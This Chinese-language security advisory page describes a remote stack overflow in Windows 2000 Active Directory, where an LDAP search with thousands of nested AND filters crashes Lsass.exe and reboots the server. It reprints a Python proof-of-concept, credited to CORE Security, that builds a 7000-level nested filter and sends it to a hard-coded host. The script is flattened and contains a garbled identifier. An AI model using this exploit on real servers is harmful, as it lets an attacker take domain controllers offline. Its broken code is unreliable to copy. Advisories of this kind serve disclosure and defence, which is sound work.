涉及程序:
Win2k Active Directory
描述:
Microsoft Windows 活动目录远程堆栈溢出缺陷
详细:
Windows活动目录的LDAP 3搜索请求功能对用户提交请求缺少正确缓冲区边界检查,远程攻击者可利用此缺陷使Lsass.exe服务崩溃,触发缓冲区溢出。
通过活动目录提供的目录服务基于LDAP协议和并使用协议存储和获得Active目录对象。活动目录中使用LDAP 3的'search request'请求功能存在问题,攻击者如果构建超过1000个"AND"的请求,并发送给服务器,可导致触发堆栈溢出,使Lsass.exe服务崩溃,系统会在30秒内重新启动。
攻击方法:
CORE Security Technologies Advisories (advisories@coresecurity.com)提供了如下测试方法:
下面是一段Python测试脚本:
------------------------------------
class ActiveDirectoryDOS( Ldap ):
def __init__(self):
self._s = None
self.host = '192.168.0.1'
self.basedn = 'dc=bugweek,dc=corelabs,dc=core-sdi,dc=com'
self.port = 389
self.buffer = ''
self.msg_id = 1
Ldap.__init__()
def generateFilter_BinaryOp( self, filter ):
filterBuffer = asn1.OCTETSTRING(filter[1]).encode() + asn1.OCTETSTRING(filter[2]).encode()
filterBuffer = self.encapsulateHeader( filter[0], filterBuffer )
return filterBuffer
def generateFilter_RecursiveBinaryOp( self, filter, numTimes):
simpleBinOp = self.generateFilter_BinaryOp( filter )
filterBuffer = simpleBinOp
for cnt in range( 0, numTimes ):
filterBuffer = self.encapsulateHeader( self.LDAP_FILTER_AND, filterBuffer + simpleBinOp )
return filterBuffer
def searchSub( self, filterBuffer ):
self.bindRequest()
self.searchRequest( filterBuffer )
def run(self, host = '', basedn = '', name = '' ):
# the machine must not exist
machine_name = 'xaxax'
filterComputerNotInDir = (Ldap.LDAP_FILTER_EQUAL99vY,'name',machine_name)
# execute the anonymous query
print 'executing query'
filterBuffer = self.generateFilter_RecursiveBinaryOp( filterComputerNotInDir, 7000 )
self.searchSub( filterBuffer )
相关专题
- Windows操作系统安装 (15328篇文章)
- Windows权限设置 (10008篇文章)
- Windows操作系统安全集 (18287篇文章)
- Windows频道 (9589篇文章)
- Windows XP系统优化加速 (22550次浏览)
- 设置远程桌面连接(1) (15286次浏览)
- Windows 2008 Beta 3激活码申请方法 (739次浏览)
- NTFS格式大硬盘数据恢复特殊案例分析 (738次浏览)
- Windows Server 2003 安全配置实战演习 (634次浏览)
- 保证Windows 2000安全的八招秘籍 (544次浏览)
- Windows server 2003创建软RAID完全手册 (467次浏览)
- 解读Windows XP SP2安装光盘 (409次浏览)
- Windows Server 2003中文版 (343次浏览)
- 解析远程控制带来的危险 (343次浏览)



